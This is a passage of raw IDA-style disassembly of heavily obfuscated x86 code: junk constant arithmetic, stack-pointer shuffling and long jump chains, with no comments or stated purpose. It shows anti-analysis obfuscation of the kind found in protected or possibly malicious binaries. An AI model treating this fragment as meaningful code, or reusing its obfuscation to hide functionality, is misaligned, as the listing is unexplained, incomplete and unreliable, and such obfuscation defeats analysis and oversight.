736Dh mov [esp+1Ah+var_1A], edx push esp pop edx push 494Eh mov [esp+1Eh+var_1E], ecx sub esp, 4 mov [esp+22h+var_22], edx mov edx, 663C6A7Bh inc edx add edx, 0E996A542h mov ecx, 4FD30FC2h jmp loc_5977A5 ; --------------------------------------------------------------------------- loc_5A1743: ; CODE XREF: sub_57DD3A+1CD90j add edi, eax pop eax sub esp, 4 mov [esp+3Ch+var_3E+2], esi mov esi, 4 sub edi, 5BE44787h add edi, esi push 7091h mov [esp+40h+var_42+2], ebx mov ebx, 5BE44787h add edi, ebx pop ebx mov esi, [esp+3Ch+var_3E+2] add esp, 4 xor edi, [esp+38h+var_3A+2] jmp loc_598342 ; --------------------------------------------------------------------------- loc_5A177A: ; CODE XREF: sub_57DD3A+1D96Cj add esp, 4 jmp loc_590809 ; --------------------------------------------------------------------------- loc_5A1785: ; CODE XREF: sub_57DD3A+11C17j mov edi, 4 add edx, edi push [esp+3Eh+var_3E] pop edi push ebp jmp loc_5974D5 ; --------------------------------------------------------------------------- loc_5A1796: ; CODE XREF: sub_57DD3A+20965j add esp, 4 pop [esp+1Eh+var_1E] mov esp, [esp+1Ah+var_1A] mov [esp+1Ah+var_1A], eax pop eax jmp loc_59BC13 ; --------------------------------------------------------------------------- loc_5A17AB: ; CODE XREF: sub_57DD3A+1C785j push dword ptr [edi+eax*4] mov eax, [esp+64h+var_64] sub esp, 4 mov [esp+68h+var_68], eax push esp mov eax, [esp+6Ch+var_6C] push 6210h mov [esp+70h+var_70], ebp push esp mov ebp, [esp+74h+var_74] add esp, 4 jmp loc_59F686 ; --------------------------------------------------------------------------- loc_5A17D2: ; CODE XREF: sub_57DD3A+1FD31j pop esi pop ecx xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] pop esp mov ax, word ptr [esp-4+arg_0] push ebp push esp jmp loc_595589 ; --------------------------------------------------------------------------- push 3A7Dh mov [esp+8+var_8], ecx mov ecx, esp add ecx, 4 push 666Dh mov [esp+0Ch+var_E+2], esi push eax mov eax, 7F5D6056h mov esi, 80A29FAEh add esi, eax jmp loc_5A1E0D ; --------------------------------------------------------------------------- loc_5A1813: ; CODE XREF: sub_57DD3A+11A56j mov dh, 0B9h push ecx mov ch, 95h xor dh, ch jmp loc_59B9E9 ; --------------------------------------------------------------------------- loc_5A181F: ; CODE XREF: sub_57DD3A+1A584j mov ebp, [esp+4Ah+var_4C+2] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+4Eh+var_50+2] pop esp sub ebx, 4 xchg ebx, [esp+4Ah+var_4C+2] mov esp, [esp+4Ah+var_4C+2] mov [esp+4Ah+var_4C+2], edi mov edi, esp sub esp, 4 mov [esp+4Eh+var_50+2], edx mov edx, 1986413h neg edx shl edx, 8 inc edx push ebx mov ebx, 434C2307h xor ebx, 24D7CE02h xor edx, ebx jmp loc_5A2588 ; --------------------------------------------------------------------------- loc_5A186A: ; CODE XREF: sub_57DD3A+1F0C1j mov esi, 2E6F32B6h add ecx, esi pop esi push edi mov edi, 24453AD6h add ecx, edi mov edi, [esp+40h+var_42+2] add esp, 4 mov ebp, [esp+3Ch+var_3E+2] add esp, 4 push ecx jmp loc_59E698 ; --------------------------------------------------------------------------- loc_5A1892: ; CODE XREF: sub_57DD3A+13B9Aj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+26h+var_26] pop esp shr ecx, 6 shr ecx, 5 neg ecx jmp loc_59967D ; --------------------------------------------------------------------------- loc_5A18AF: ; CODE XREF: sub_57DD3A+1098Cj or ebp, 1B2D36BDh and ebp, 346F5DD5h sub ebp, 306D55D1h jmp loc_59FEC7 ; --------------------------------------------------------------------------- loc_5A18C6: ; CODE XREF: sub_57DD3A+1E4FEj sub edx, 5F52798Bh add edx, ecx add edx, 5F52798Bh mov ecx, [esp+60h+var_60] push edi mov edi, esp push esi mov esi, 35937477h jmp loc_597BC3 ; --------------------------------------------------------------------------- push ebx jmp loc_5929D8 ; --------------------------------------------------------------------------- loc_5A18EB: ; CODE XREF: sub_57DD3A+22CB0j sub eax, 36EC2C48h push edx mov edx, 1616A06h jmp loc_59D28E ; --------------------------------------------------------------------------- loc_5A18FB: ; CODE XREF: sub_57DD3A+2509Cj sub al, ch push small 7D4Fh mov word ptr [esp+8Ah+var_8C+2], bx mov bl, 0A6h dec bl add bl, 0CFh not bl xor bl, 46h add al, bl pop bx mov cx, word ptr [esp+88h+var_88] push eax mov eax, esp sub esp, 4 mov [esp+90h+var_90], ebx mov ebx, 4 jmp loc_5960FC ; --------------------------------------------------------------------------- loc_5A192C: ; CODE XREF: sub_57DD3A+24EA3j pop ecx sub esi, 0FFFFFFFFh jmp loc_58E51C ; --------------------------------------------------------------------------- loc_5A1938: ; CODE XREF: sub_57DD3A+13CDAj dec esi xor esi, 0A14A586h sub edi, 101024EBh sub edi, esi jmp loc_59C824 ; --------------------------------------------------------------------------- loc_5A194C: ; CODE XREF: sub_57DD3A+1839Aj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+5Ch+var_5C] jmp loc_59DEDE ; --------------------------------------------------------------------------- loc_5A195F: ; CODE XREF: sub_57DD3A+1681Aj not ebx add ebx, 32AF233Dh add edi, 5662334Ah add edi, ebx jmp loc_59C8E0 ; --------------------------------------------------------------------------- loc_5A1974: ; CODE XREF: sub_57DD3A+1E339j mov eax, esp add eax, 4 push esi mov esi, 4 add eax, esi pop esi xchg eax, [esp+7Ch+var_7C] pop esp loc_5A1988: ; CODE XREF: sub_57DD3A+1322Dj sub esp, 4 jmp loc_591860 ; --------------------------------------------------------------------------- loc_5A1993: ; CODE XREF: sub_57DD3A+1BCCAj pop esi jmp loc_59E8CB ; --------------------------------------------------------------------------- loc_5A1999: ; CODE XREF: sub_57DD3A+22D5Bj sub esp, 4 jmp loc_5958BA ; --------------------------------------------------------------------------- loc_5A19A1: ; CODE XREF: sub_57DD3A+24CEBj push ebx mov ebx, 5E461D02h not ebx xor ebx, 0A372CC91h jmp loc_591472 ; --------------------------------------------------------------------------- loc_5A19B4: ; CODE XREF: sub_57DD3A+20608j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+60h+var_60] jmp loc_593581 ; --------------------------------------------------------------------------- loc_5A19C8: ; CODE XREF: sub_57DD3A+194EDj push esp pop ecx push ebx mov ebx, 1F720596h not ebx dec ebx dec ebx xor ebx, 0E08DFA63h add ecx, ebx mov ebx, [esp+88h+var_88] add esp, 4 add ecx, 4 jmp loc_5A0781 ; --------------------------------------------------------------------------- loc_5A19ED: ; CODE XREF: sub_57DD3A+142CDj add ecx, 2 xor ecx, [esp+0] jmp loc_5958F6 ; --------------------------------------------------------------------------- loc_5A19FB: ; CODE XREF: sub_57DD3A+10D23j mov ebx, 4 add ebp, ebx jmp loc_594EA6 ; --------------------------------------------------------------------------- loc_5A1A07: ; CODE XREF: sub_57DD3A+20508j pop ebp add esp, 4 xor ecx, [esp+0Eh+var_E] xor [esp+0Eh+var_E], ecx xor ecx, [esp+0Eh+var_E] mov esp, [esp+0Eh+var_E] sub esp, 4 mov [esp+12h+var_12], edx push 14C2h mov [esp+16h+var_16], eax pop edx sub esp, 4 mov [esp+16h+var_16], ebx push 63A2h mov [esp+1Ah+var_1A], ebp jmp loc_58EE28 ; --------------------------------------------------------------------------- loc_5A1A3F: ; CODE XREF: sub_57DD3A+24C6Fj push 1C9Dh mov [esp+1Eh+var_1E], esi push esp pop esi push edx push 62C85BD4h mov edx, [esp+26h+var_26] add esp, 4 shl edx, 7 push ebx jmp loc_59177E ; --------------------------------------------------------------------------- loc_5A1A5E: ; CODE XREF: sub_57DD3A+1D697j add ebp, 0A1CFE07Ch add ecx, ebp jmp loc_59132D ; --------------------------------------------------------------------------- loc_5A1A6B: ; CODE XREF: sub_57DD3A+21DB6j sub eax, 5BED2903h pop ebx add eax, esi sub esp, 4 mov [esp-6+arg_0+2], ebp mov ebp, 4F6C127Ch jmp loc_5927DC ; --------------------------------------------------------------------------- loc_5A1A83: ; CODE XREF: sub_57DD3A+1D301j sub edx, 4 xor edx, [esp+12h+var_12] xor [esp+12h+var_12], edx xor edx, [esp+12h+var_12] pop esp mov [esp+0Eh+var_E], edx push esp mov edx, [esp+12h+var_12] add esp, 4 add edx, 4 jmp loc_597208 ; --------------------------------------------------------------------------- loc_5A1AA8: ; CODE XREF: sub_57DD3A+12254j xor dh, al pop eax add bl, dh mov edx, [esp+4Ch+var_4C] add esp, 4 push 59A5h mov [esp+4Ch+var_4C], edx push ebx mov ebx, 2BB242BEh mov edx, 0D44DBD7Ah sub edx, 22543AB9h add edx, ebx add edx, 22543AB9h pop ebx add edx, edi push ecx push 0 pop ecx push edx mov edx, 61C454EEh jmp loc_58F551 ; --------------------------------------------------------------------------- loc_5A1AEC: ; CODE XREF: sub_57DD3A+20E9Aj pop esi jmp loc_59D638 ; --------------------------------------------------------------------------- loc_5A1AF2: ; CODE XREF: sub_57DD3A+1AE16j sub esp, 4 mov [esp+42h+var_42], edi jmp loc_597392 ; --------------------------------------------------------------------------- loc_5A1B00: ; CODE XREF: sub_57DD3A+19B9Bj pop ebp sub esp, 4 mov [esp+50h+var_50], ecx jmp loc_58F560 ; --------------------------------------------------------------------------- loc_5A1B0F: ; CODE XREF: sub_57DD3A+13A14j add edx, 66822774h add edx, edi jmp loc_59BBFA ; --------------------------------------------------------------------------- loc_5A1B1C: ; CODE XREF: sub_57DD3A+16808j add ebx, edx mov edx, [esp+0] jmp loc_59D05E ; --------------------------------------------------------------------------- loc_5A1B26: ; CODE XREF: sub_57DD3A+1AAD4j xor ebx, 0FA43C94h and edi, ebx pop ebx jmp loc_599325 ; --------------------------------------------------------------------------- loc_5A1B34: ; CODE XREF: sub_57DD3A+24CB8j add esp, 4 jmp loc_59673C ; --------------------------------------------------------------------------- loc_5A1B3F: ; CODE XREF: sub_57DD3A+1B76Fj xchg ecx, [esp+42h+var_42] jmp loc_596CA4 ; --------------------------------------------------------------------------- loc_5A1B47: ; CODE XREF: sub_57DD3A+1620Dj mov edx, 351913E6h and edx, 6B8E6D78h add edx, 78DA3D89h jmp loc_594D35 ; --------------------------------------------------------------------------- loc_5A1B5D: ; CODE XREF: sub_57DD3A+16108j xor eax, [esp+10h+var_12+2] pop esp jmp loc_591C0E ; --------------------------------------------------------------------------- loc_5A1B66: ; CODE XREF: sub_57DD3A+12EB1j mov ebp, [esp+58h+var_58] jmp loc_5A2007 ; --------------------------------------------------------------------------- loc_5A1B6E: ; CODE XREF: sub_57DD3A+16BD6j push 69B5h mov [esp+1Ch+var_1E+2], esi push esp pop esi add esi, 4 sub esi, 4 jmp loc_597355 ; --------------------------------------------------------------------------- loc_5A1B86: ; CODE XREF: sub_57DD3A+237B5j xor [edi+24h], ecx loc_5A1B89: ; CODE XREF: sub_57DD3A+1F768j push eax mov eax, esp push 5114h mov [esp+18h+var_1A+2], ecx mov ecx, 57A17DF6h push ecx not [esp+1Ch+var_1E+2] mov ecx, [esp+1Ch+var_1E+2] add esp, 4 add ecx, 72A2777h or ecx, 0A524CF0h sub esp, 4 mov [esp+1Ch+var_1E+2], edx mov edx, 27F2025Ah and ecx, edx pop edx sub ecx, 592C7F2Dh push edx jmp loc_59444D ; --------------------------------------------------------------------------- loc_5A1BCC: ; CODE XREF: sub_57DD3A+215FCj shl eax, cl push esi mov esi, 3B431D8Bh push ebp mov ebp, 697C1851h xor ebp, 2AAA749Bh neg ebp and ebp, 28BF1C71h xor ebp, 53D81770h or esi, ebp pop ebp push esi inc [esp+36h+var_36] mov esi, [esp+36h+var_36] add esp, 4 sub esi, 41C824ADh jmp loc_599024 ; --------------------------------------------------------------------------- loc_5A1C06: ; CODE XREF: sub_57DD3A+1F7E0j xor ebx, [esp+58h+var_58] mov esp, [esp+58h+var_58] mov [esp+58h+var_58], esi mov esi, 7C892572h jmp loc_596C3F ; --------------------------------------------------------------------------- loc_5A1C19: ; CODE XREF: sub_57DD3A+22AA9j xor [esp+58h+var_58], edx jmp loc_5915A8 ; --------------------------------------------------------------------------- loc_5A1C21: ; CODE XREF: sub_57DD3A+1B492j push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+34h+var_36+2] pop esp mov [esp+30h+var_32+2], ebx jmp loc_58F846 ; --------------------------------------------------------------------------- loc_5A1C48: ; CODE XREF: sub_57DD3A+12F50j sub eax, ebx pop ebx pop ebp sub eax, 1BD755ECh sub eax, 447B2E29h sub eax, edi add eax, 447B2E29h add eax, 1BD755ECh push ebx mov ebx, 24654958h shr ebx, 3 neg ebx xor ebx, 7894038Fh inc ebx add ebx, 0EC390B89h jmp loc_5979FA ; --------------------------------------------------------------------------- loc_5A1C7F: ; CODE XREF: sub_57DD3A+142BCj add ebp, 4 sub ebp, 4 xchg ebp, [esp+6+var_8+2] jmp loc_59BBDE ; --------------------------------------------------------------------------- loc_5A1C90: ; CODE XREF: sub_57DD3A+2139Dj pop ebp jmp loc_58F4E0 ; --------------------------------------------------------------------------- loc_5A1C96: ; CODE XREF: sub_57DD3A+1829Bj push ecx push 49085CAEh pop ecx sub edx, ecx mov ecx, [esp+46h+var_46] jmp loc_58E6AB ; --------------------------------------------------------------------------- loc_5A1CA7: ; CODE XREF: sub_57DD3A+1A8D8j mov ecx, esp jmp loc_59AD81 ; --------------------------------------------------------------------------- loc_5A1CAE: ; CODE XREF: sub_57DD3A+1A60Bj xor edi, [esp+2Eh+var_2E] mov esp, [esp+2Eh+var_2E] movsx ecx, ax push edx push 11CCh push esp pop [esp+3Ah+var_3A] add [esp+36h+var_36], 4 jmp loc_5A04BE ; --------------------------------------------------------------------------- loc_5A1CCA: ; CODE XREF: sub_57DD3A+11653j push edi jmp loc_59013E ; --------------------------------------------------------------------------- loc_5A1CD0: ; CODE XREF: sub_57DD3A+16C68j push edi mov edi, 5DC80715h sub edi, 148EBB7Bh dec edi sub edi, 2444EEE3h and esi, edi pop edi jmp loc_58EF35 ; --------------------------------------------------------------------------- loc_5A1CEB: ; CODE XREF: sub_57DD3A+119EEj pop ebp jmp loc_593492 ; --------------------------------------------------------------------------- loc_5A1CF1: ; CODE XREF: sub_57DD3A+21C8Fj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A1CF6: ; CODE XREF: sub_57DD3A+1EAA5j xor ebx, 0DE046444h add edi, ebx pop ebx jmp loc_58E616 ; --------------------------------------------------------------------------- loc_5A1D04: ; CODE XREF: sub_57DD3A+1C1C8j add eax, 6AA030B5h add eax, 330619Bh sub eax, 6D091426h add eax, ebx add eax, 6D091426h sub eax, 330619Bh sub eax, 6AA030B5h pop ebx push eax push [esp+0Ch+var_8] pop eax jmp loc_5A2C91 ; --------------------------------------------------------------------------- loc_5A1D30: ; CODE XREF: sub_57DD3A+20D43j push eax mov ah, 9Ch shl ah, 2 push edx mov dh, 89h inc dh xor dh, 0F0h jmp loc_598F2D ; --------------------------------------------------------------------------- loc_5A1D43: ; CODE XREF: sub_57DD3A+107B6j add ebp, 0DC0229Dh sub ebp, 1957AD8Eh add esi, ebp pop ebp mov edi, [esp+14h+var_16+2] push edx push esp pop edx jmp loc_594616 ; --------------------------------------------------------------------------- loc_5A1D5D: ; CODE XREF: sub_57DD3A+1798Bj push 40B8h mov [esp+16h+var_16], ebp push 219F07DBh push [esp+1Ah+var_1A] pop ebp add esp, 4 push ebx mov ebx, 1FE8E982h jmp loc_598980 ; --------------------------------------------------------------------------- loc_5A1D7C: ; CODE XREF: sub_57DD3A+12FE3j mov [esp+54h+var_54], edi push 7E2C026Bh mov edi, [esp+58h+var_58] jmp loc_590E39 ; --------------------------------------------------------------------------- loc_5A1D8C: ; CODE XREF: sub_57DD3A+1812Fj xor dh, cl pop ecx push eax mov ah, 78h shl ah, 7 jmp loc_5901A1 ; --------------------------------------------------------------------------- loc_5A1D9A: ; CODE XREF: sub_57DD3A+1EB40j sub eax, 4 xchg eax, [esp+32h+var_32] jmp loc_59BE04 ; --------------------------------------------------------------------------- loc_5A1DA5: ; CODE XREF: sub_57DD3A+14EE6j push [esp+1Eh+var_1A] jmp loc_59FE34 ; --------------------------------------------------------------------------- loc_5A1DAE: ; CODE XREF: sub_57DD3A+210B1j sub esp, 4 jmp loc_592EFE ; --------------------------------------------------------------------------- loc_5A1DB9: ; CODE XREF: sub_57DD3A+1ED96j xor ecx, 64F46449h neg ecx push 65D3h jmp loc_5958DD ; --------------------------------------------------------------------------- loc_5A1DCB: ; CODE XREF: sub_57DD3A+1E890j or [edi+1Ch], eax pop eax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A1DD4: ; CODE XREF: sub_57DD3A+1ED20j mov ebx, 694A4CF8h mov edx, ebx pop ebx add eax, 45AB70EBh sub eax, edx sub eax, 45AB70EBh mov edx, [esp+1Eh+var_1E] add esp, 4 push edx mov edx, esp push edi mov edi, 4 jmp loc_590B57 ; --------------------------------------------------------------------------- loc_5A1DFF: ; CODE XREF: sub_57DD3A+12EBCj xor eax, 10626C5Ah pop edx mov ebx, eax pop eax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A1E0D: ; CODE XREF: sub_57DD3A+23AD4j pop eax sub ecx, esi pop esi jmp loc_59C67A ; --------------------------------------------------------------------------- loc_5A1E16: ; CODE XREF: sub_57DD3A+2100Cj add eax, ebp pop ebp push edi mov edi, 0A9C5A52h push esi mov esi, 3CB4561h and edi, esi pop esi neg edi jmp loc_595D39 ; --------------------------------------------------------------------------- loc_5A1E2F: ; CODE XREF: sub_57DD3A+1FF14j mov esi, [esp+42h+var_42] add esp, 4 sub esp, 4 mov [esp+42h+var_42], ebx push eax push esp mov eax, [esp+4Ah+var_4C+2] add esp, 4 jmp loc_59FEFB ; --------------------------------------------------------------------------- loc_5A1E4B: ; CODE XREF: sub_57DD3A+11571j mov [esp+32h+var_32], esi not [esp+32h+var_32] pop esi add esi, 689E397Fh sub ebx, 56B06FE9h sub ebx, 3AD41F2Fh add ebx, esi add ebx, 3AD41F2Fh jmp loc_58FA9F ; --------------------------------------------------------------------------- loc_5A1E71: ; CODE XREF: sub_57DD3A+1A213j pop edx add esp, 4 or cl, 0Ah sub cl, 0FFh not cl neg cl and cl, 14h push eax mov al, 0Ah xor cl, al push [esp+6+var_8+2] pop eax add esp, 4 push ecx jmp loc_59EFE5 ; --------------------------------------------------------------------------- loc_5A1E97: ; CODE XREF: sub_57DD3A+253BFj xchg ecx, ebx jmp loc_599BD1 ; --------------------------------------------------------------------------- loc_5A1E9E: ; CODE XREF: sub_57DD3A+1C9A8j or ecx, 7C431D5Eh xor ecx, 51EB274Ah jmp loc_593E0E ; --------------------------------------------------------------------------- loc_5A1EAF: ; CODE XREF: sub_57DD3A+1D838j add edx, 4 jmp loc_59E92C ; --------------------------------------------------------------------------- loc_5A1EBA: ; CODE XREF: sub_57DD3A+1E684j pop esp add esi, eax pop eax push ebp mov ebp, 2 add esi, 12E6568h add esi, ebp sub esi, 12E6568h pop ebp xchg esi, [esp+2Eh+var_2E] pop esp pop small word ptr [esp+2Ah+var_2A] sub esp, 2 mov word ptr [esp+2Ch+var_2E+2], bx not word ptr [esp+2Ch+var_2E+2] pop bx jmp loc_59BC18 ; --------------------------------------------------------------------------- loc_5A1EED: ; CODE XREF: sub_57DD3A+21189j pop esp mov [esp+3Eh+var_3E], edx sub esp, 4 mov [esp+42h+var_42], ecx mov ecx, 5B8D28E8h shl ecx, 8 xor ecx, 4E7B2524h sub ecx, 7449BDCAh and ecx, 29E03777h xor ecx, 900074Eh mov edx, ecx pop ecx add edx, edi mov eax, [edx] push [esp+3Eh+var_3E] push [esp+42h+var_42] pop edx jmp loc_5A30DD ; --------------------------------------------------------------------------- loc_5A1F2A: ; CODE XREF: sub_57DD3A+131B7j pop [esp+5Ch+var_5C] pop esp mov [esp+54h+var_54], esi mov esi, 2C5A355Dh xchg edx, esi not edx xchg edx, esi jmp loc_594B21 ; --------------------------------------------------------------------------- loc_5A1F41: ; CODE XREF: sub_57DD3A+1D916j mov [esp+40h+var_42+2], edx mov dl, 8Bh sub bl, dl jmp loc_59D715 ; --------------------------------------------------------------------------- loc_5A1F4D: ; CODE XREF: sub_57DD3A+1DF18j sub ebx, 1 shl ebx, 8 add ebx, 7B8A14DBh jmp loc_59C182 ; --------------------------------------------------------------------------- loc_5A1F5E: ; CODE XREF: sub_57DD3A+193F0j xor esi, 85679A42h jmp loc_591207 ; --------------------------------------------------------------------------- loc_5A1F69: ; CODE XREF: sub_57DD3A+171BCj add edx, 4 add edx, 4 xchg edx, [esp+4Eh+var_50+2] jmp loc_591BAB ; --------------------------------------------------------------------------- loc_5A1F7A: ; CODE XREF: sub_57DD3A+1323Dj mov ch, 0D8h neg ch sub ch, 33h jmp loc_59BF78 ; --------------------------------------------------------------------------- loc_5A1F86: ; CODE XREF: sub_57DD3A+1F633j push ecx mov ecx, 63734E4Bh mov esi, 0BFFBB818h add esi, ecx pop ecx and edi, esi pop esi push eax push ecx mov ecx, 10BC295Bh mov eax, ecx pop ecx xor eax, 356037EFh sub eax, 1FBE64D2h and eax, 45828AFh not eax push eax jmp loc_59EC40 ; --------------------------------------------------------------------------- loc_5A1FB8: ; CODE XREF: sub_57DD3A+20C05j pop esp mov [esp+0], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp+2+var_4+2], ebp push edi push 272B1F54h pop edi add edi, 61512BC6h shr edi, 4 add edi, 0F7783B53h mov ebp, edi jmp loc_59440B ; --------------------------------------------------------------------------- loc_5A1FEA: ; CODE XREF: sub_57DD3A+1C315j or ebx, edx pop edx jmp loc_59587D ; --------------------------------------------------------------------------- loc_5A1FF2: ; CODE XREF: sub_57DD3A+19C6Bj and ecx, ebp pop ebp push 5D78h mov [esp+6Ch+var_6C], ebp mov ebp, 0FB21D8C2h jmp loc_59539C ; --------------------------------------------------------------------------- loc_5A2007: ; CODE XREF: sub_57DD3A+23E2Fj add esp, 4 jmp loc_5947DE ; --------------------------------------------------------------------------- loc_5A2012: ; CODE XREF: sub_57DD3A+14C9Fj pop ebx add ebx, 4 jmp loc_5A28D3 ; --------------------------------------------------------------------------- loc_5A201E: ; CODE XREF: sub_57DD3A+16F3Dj add edx, 4 add edx, 4 jmp loc_5955C9 ; --------------------------------------------------------------------------- loc_5A202F: ; CODE XREF: sub_57DD3A+12DB8j mov [esp+68h+var_68], eax mov ah, 0C2h push edx mov dl, ah mov cl, dl pop edx pop eax sub al, cl jmp loc_594516 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A204A: ; CODE XREF: sub_57DD3A+15725j mov [esp+32h+var_32], esp add [esp+32h+var_32], 4 jmp loc_58E74B ; --------------------------------------------------------------------------- loc_5A2059: ; CODE XREF: sub_57DD3A+2052Fj pop esp push [esp+2Eh+var_2E] pop eax push edx mov edx, esp jmp loc_593B39 ; --------------------------------------------------------------------------- loc_5A2066: ; CODE XREF: sub_57DD3A+1CD38j mov bl, 90h shr bl, 3 xor bl, 0C2h shr bl, 7 shr bl, 6 jmp loc_59D7F9 ; --------------------------------------------------------------------------- loc_5A2079: ; CODE XREF: sub_57DD3A+20635j pop edi add edi, 0DFA225Fh add edi, 68CB2AC6h and edi, 0DF94D9Fh add edi, 13A9D69Fh mov edx, edi pop edi push ecx mov ecx, 227E4C5Fh add eax, 69301A0Ch jmp loc_594F3B ; --------------------------------------------------------------------------- loc_5A20A5: ; CODE XREF: sub_57DD3A+1FA43j xor edx, 6FFFA9E0h jmp loc_58F18C ; --------------------------------------------------------------------------- loc_5A20B0: ; CODE XREF: sub_57DD3A+175C4j push [esp+60h+var_60] pop ebx jmp loc_59DF27 ; --------------------------------------------------------------------------- loc_5A20B9: ; CODE XREF: sub_57DD3A+18077j mov edx, 54EC3D32h push edx jmp loc_590DA4 ; --------------------------------------------------------------------------- loc_5A20C4: ; CODE XREF: sub_57DD3A+1C971j add ebx, 27CD35B8h push edi mov edi, 3FBE619Ch or ebx, edi pop edi jmp loc_59A309 ; --------------------------------------------------------------------------- lodsd sub esp, 4 jmp loc_592502 ; --------------------------------------------------------------------------- loc_5A20E4: ; CODE XREF: sub_57DD3A+1070Cj pop eax sub esp, 4 mov [esp+0Ch+var_E+2], esi jmp loc_592113 ; --------------------------------------------------------------------------- loc_5A20F0: ; CODE XREF: sub_57DD3A+12745j push eax push 4899h mov [esp+16h+var_16], edx jmp loc_59C8B7 ; --------------------------------------------------------------------------- loc_5A20FE: ; CODE XREF: sub_57DD3A+20A56j add al, 57h push ecx jmp loc_59C9D7 ; --------------------------------------------------------------------------- loc_5A2106: ; CODE XREF: sub_57DD3A+187E1j xor edx, 1F171C69h sub edx, 0AC01F59Fh add edi, edx pop edx push ebx push esi push 41415812h pop esi xor esi, 32719F6h add esi, 16D1D582h mov ebx, esi pop esi shr ebx, 4 add ebx, 2B87720Ch xor ebx, 52B4CCD7h jmp loc_59AE2D ; --------------------------------------------------------------------------- loc_5A2140: ; CODE XREF: sub_57DD3A+1778Fj xchg ebx, [esp+4Ah+var_4C+2] pop esp jmp loc_59EF48 ; --------------------------------------------------------------------------- loc_5A2149: ; CODE XREF: sub_57DD3A+1B877j push edx mov edx, 36974706h dec edx sub edx, 0D171985h add esi, edx jmp loc_598450 ; --------------------------------------------------------------------------- loc_5A215D: ; CODE XREF: sub_57DD3A+21D9Ej add ebp, 4 sub ebp, 2 xchg ebp, [esp+1Eh+var_1E] pop esp mov word ptr [esp+1Ah+var_1A], bx jmp loc_59D256 ; --------------------------------------------------------------------------- loc_5A2176: ; CODE XREF: sub_57DD3A+1F7D8j sub ebx, edx mov edx, [esp+26h+var_26] add esp, 4 push [esp+22h+var_22] pop edi jmp loc_597C8D ; --------------------------------------------------------------------------- loc_5A2187: ; DATA XREF: sub_57DD3A+10386o mov ax, word ptr [esp+22h+var_22] push 6E88h mov [esp+26h+var_26], eax push esi push esp jmp loc_59370A ; --------------------------------------------------------------------------- loc_5A219A: ; CODE XREF: sub_57DD3A+15D54j add [esp+1Ch+var_1A+2], ebx pop ebx mov edi, [esp+18h+var_1A+2] add esp, 4 push ecx jmp loc_59A223 ; --------------------------------------------------------------------------- loc_5A21AE: ; CODE XREF: sub_57DD3A+209A3j xor edx, 0F3EBDEF8h and ecx, edx pop edx jmp loc_5990A7 ; --------------------------------------------------------------------------- loc_5A21BC: ; CODE XREF: sub_57DD3A+1C9EEj add dh, 1 push ebx jmp loc_59FF96 ; --------------------------------------------------------------------------- loc_5A21C5: ; CODE XREF: sub_57DD3A+1B728j mov ecx, 82C4E5CAh sub ecx, 659F596Ah sub ecx, 76C902F8h add ecx, ebp add ecx, 76C902F8h add ecx, 659F596Ah jmp loc_593C34 ; --------------------------------------------------------------------------- loc_5A21E9: ; CODE XREF: sub_57DD3A+23942j sub ebx, 0DEF2EE13h sub ecx, ebx pop ebx jmp loc_598880 ; --------------------------------------------------------------------------- loc_5A21F7: ; CODE XREF: sub_57DD3A+1397Aj push 52DAh mov [esp+2Eh+var_2E], ebx mov ebx, 57FFF637h push edi jmp loc_5992C8 ; --------------------------------------------------------------------------- loc_5A220A: ; CODE XREF: sub_57DD3A+14BF2j mov ebx, [esp+1Ah+var_1A] add esp, 4 push [esp+16h+var_16] jmp loc_59AFD3 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+1Ah+var_1A] push 0C94h mov [esp+1Eh+var_1E], edi sub esp, 4 push esp jmp loc_59FDC0 ; --------------------------------------------------------------------------- loc_5A222D: ; CODE XREF: sub_57DD3A+1ACF5j pop esi shl ebp, 1 shr ebp, 2 add ebp, 0FFB3FFA4h mov ebx, ebp jmp loc_594A00 ; --------------------------------------------------------------------------- loc_5A2240: ; CODE XREF: sub_57DD3A+13987j shl eax, 6 dec eax shl eax, 6 push ebp push esi mov esi, 18F0282Bh jmp loc_59572D ; --------------------------------------------------------------------------- loc_5A2253: ; CODE XREF: sub_57DD3A+1D30Fj mov ecx, 1DDB3106h add dword ptr [esp+8], 1FE86CE9h sub [esp+8], ecx jmp loc_58ECF8 ; --------------------------------------------------------------------------- loc_5A2269: ; CODE XREF: sub_57DD3A+14CFEj add eax, ecx add eax, 1AF1184Ch jmp loc_597DE3 ; --------------------------------------------------------------------------- loc_5A2275: ; CODE XREF: sub_57DD3A+11EF4j pop esi push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 sub ecx, esi pop esi xchg ecx, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] mov [esp+18h+var_1A+2], esi mov esi, 19FE2CCAh jmp loc_5951BB ; --------------------------------------------------------------------------- loc_5A229B: ; CODE XREF: sub_57DD3A+21675j add edx, ecx mov ecx, [esp+58h+var_58] add esp, 4 jmp loc_591583 ; --------------------------------------------------------------------------- loc_5A22A8: ; CODE XREF: sub_57DD3A+237E4j pop eax add eax, ebx push [esp+2Ah+var_2A] pop ebx add esp, 4 push edx push ecx push 1767419Dh pop ecx push ebx push eax jmp loc_59B2C7 ; --------------------------------------------------------------------------- loc_5A22C4: ; CODE XREF: sub_57DD3A+1F1BBj add al, 0EBh jmp loc_597643 ; --------------------------------------------------------------------------- loc_5A22CB: ; CODE XREF: sub_57DD3A+19AC4j and esi, 476616FFh add esi, 32F80035h mov edi, esi pop esi add edx, edi pop edi sub edx, 18F27C33h sub edx, edi add edx, 18F27C33h sub edx, 79F816D4h jmp loc_5975B1 ; --------------------------------------------------------------------------- loc_5A22F6: ; CODE XREF: sub_57DD3A+18FCDj mov edx, [esp+12h+var_12] add esp, 4 jmp loc_59899A ; --------------------------------------------------------------------------- loc_5A2304: ; CODE XREF: sub_57DD3A+13FD7j sub edx, esi pop esi sub ebp, 71BE212Fh add ebp, edx add ebp, 71BE212Fh push 